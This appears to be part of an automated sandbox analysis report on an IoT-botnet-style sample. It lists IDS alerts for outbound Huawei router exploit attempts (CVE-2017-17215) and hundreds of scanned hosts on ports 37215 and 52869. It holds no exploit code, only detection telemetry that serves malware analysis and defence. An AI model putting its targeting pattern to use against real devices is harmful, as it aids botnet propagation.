Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:47400 -> 92.64.109.2:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:47400 -> 92.64.109.2:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:50408 -> 197.248.165.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:50408 -> 197.248.165.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:41138 -> 197.57.12.65:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:41138 -> 197.57.12.65:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 110.190.170.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.31.243.103 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.232.166.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 98.86.217.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.122.128.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.7.56.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.83.59.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.65.98.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 182.58.59.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.129.204.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.11.56.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 203.78.175.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 217.117.118.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.80.60.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 118.44.218.190 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.210.89.58 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.166.97.26 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.187.62.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.45.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 47.192.181.125 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 135.138.253.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.17.149.160 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.22.247.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 130.89.105.172 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 92.171.161.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 59.3.63.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 94.69.94.228 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 154.156.48.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 63.149.53.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.70.42.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 112.151.203.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 153.248.215.68 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 173.85.77.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 153.57.57.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 14.213.163.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 51.49.156.124 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 163.47.122.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.118.216.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.92.46.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.86.202.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.136.175.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 102.123.68.84 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 170.123.158.68 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 184.201.211.106 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 146.126.33.191 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.205.199.45 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.230.140.45 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.117.119.28 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 138.243.241.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.134.165.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.34.159.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.135.213.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 58.4.85.140 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 132.34.228.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 97.182.119.204 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.207.82.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 44.96.234.78 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.188.70.66 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.148.110.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.79.119.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.95.27.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 181.146.224.142 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.213.71.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 115.118.201.201 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.233.86.230 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 111.86.157.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 173.155.49.234 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 190.93.218.69 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.9.42.102 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.210.50.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 70.32.28.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.2.151.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.68.115.94 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.81.124.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.30.131.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.76.132.243 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.55.184.106 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.48.198.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.51.101.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.102.36.208 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 130.248.131.170 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.235.177.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 70.103.57.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 220.222.25.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 186.34.74.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 136.184.246.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.4.5.112 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 27.248.118.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.160.188.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 25.177.237.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.70.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 63.98.110.158 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 149.3.41.152 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 17.142.113.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.152.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 128.16.232.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.127.34.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 43.90.91.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 44.40.106.207 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.131.64.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 218.80.197.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 179.90.129.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.170.240.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.186.3.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 136.10.65.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 54.184.16.152 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 104.64.183.123 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.221.166.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 213.7.228.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 84.109.57.15 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 79.163.220.136 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.176.223.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.177.125.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 76.57.31.87 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 51.102.236.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.250.175.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.11.29.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 171.144.139.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.41.234.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.141.208.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.115.51.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.108.28.159 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.56.200.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 72.222.174.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.124.205.30 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.165.177.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.119.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 19.197.105.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.59.211.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 20.189.37.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.159.162.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.152.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.254.37.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 31.235.249.101 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 158.122.212.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 148.251.241.27 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 170.230.98.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.198.197.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.243.233.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.7.130.116 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 188.210.108.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.208.79.230 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.245.59.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 167.219.163.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 217.33.236.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 45.6.250.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 115.193.20.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.30.69.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 12.61.194.217 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.122.199.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.51.123.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 125.21.119.63 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 121.157.93.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 71.134.139.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 123.25.87.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 79.130.194.18 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 77.164.7.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.201.125.177 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.127.240.84 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.195.106.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.32.31.240 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.175.82.45 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.200.12.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 42.63.37.230 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 190.120.169.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.151.146.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.192.14.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 207.22.189.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 101.212.186.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.153.202.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.209.91.142 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 209.107.7.172 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.167.12.122 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 195.164.92.202 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.181.208.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.179.73.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.43.195.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 161.127.78.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 110.190.196.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.178.175.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.15.221.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 116.111.12.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 184.150.134.241 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 176.74.248.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 74.241.45.34 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 91.62.107.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 52.155.86.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 190.240.70.168 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 223.57.236.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 146.125.192.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.69.237.0 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.70.210.244 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.6.73.141 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.131.237.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.122.12.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.81.103.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 169.73.158.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 102.243.20.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 103.245.84.176 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.159.13.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 112.236.210.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.212.139.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 132.118.60.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 170.253.183.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 185.165.8.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 84.251.183.169 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 154.234.222.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.244.162.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 86.161.72.180 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.232.37.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 145.181.32.187 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.39.180.182 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.40.234.128 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 74.151.195.150 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 134.135.249.190 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.62.198.136 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.117.157.2 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 20.43.107.217 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.173.101.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 68.93.103.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 191.219.60.78 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.231.162.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.192.130.220 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 130.209.205.146 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.1.84.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.52.52.9 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 98.212.47.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 138.222.128.120 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 66.25.105.41 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.43.253.115 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 209.87.192.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.169.244.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.156.155.77 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 64.117.200.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.47.87.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 209.236.206.19 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.241.150.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 42.255.69.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.128.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 79.199.66.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 132.247.215.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.244.217.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 13.86.185.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 82.86.85.182 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 169.125.253.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.253.214.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 51.240.51.123 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 111.156.5.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.163.100.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 49.92.4.36 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 190.144.135.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.154.99.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 175.85.67.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.31.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 102.158.190.172 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.27.36.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.51.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 194.67.162.210 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.153.186.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.16.165.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.216.161.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 60.68.1.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.185.75.194 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 170.69.53.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 140.186.31.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 149.86.2.31 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 163.3.247.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 103.165.193.29 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.75.222.46 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.98.176.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 72.244.128.159 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 178.57.58.147 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 51.148.116.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.67.163.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 53.61.246.149 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 188.154.109.67 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 111.208.194.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.144.29.97 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 165.198.120.17 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 64.61.21.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 209.182.179.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 159.122.145.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.140.60.188 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 217.244.72.189 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.121.47.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 32.154.188.58 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 107.157.120.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 160.191.28.144 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 159.76.235.15 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 82.116.127.119 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.12.227.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 2.48.167.192 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 203.71.161.180 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.226.92.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 209.180.225.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 92.65.243.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 38.123.81.102 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 8.188.8.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 137.9.146.7 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 142.27.140.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.17.71.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 38.59.46.16 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 20.117.159.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.77.31.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.171.217.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 207.107.95.51 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 122.61.140.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 160.121.230.64 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 17.89.227.78 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.183.27.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 2.46.59.12 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.253.127.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 217.192.73.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.71.69.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 223.90.200.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 173.171.125.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 189.218.75.154 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 181.76.169.112 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.242.194.86 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.161.86.94 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 180.110.76.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.5.87.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 203.174.113.107 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.149.227.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 173.103.182.239 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 168.236.58.106 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.79.186.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.16.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 149.148.103.254 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 204.211.34.189 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.171.70.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.255.17.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 112.39.57.151 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 130.69.123.40 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 193.203.254.211 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 126.63.129.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.222.237.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.151.202.253 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.94.174.5 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 50.0.188.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 5.217.173.216 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.134.189.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 2.244.30.69 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.74.63.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 136.254.36.162 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.85.93.51 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 129.126.166.93 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.176.29.89 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.153.111.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.177.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 202.240.96.140 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.226.182.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 66.238.117.205 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.164.65.71 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.119.32.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 206.13.225.4 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 135.177.107.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 18.180.5.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 47.67.168.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.243.178.81 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 202.104.226.178 ports 2,5,6,8,9,52869
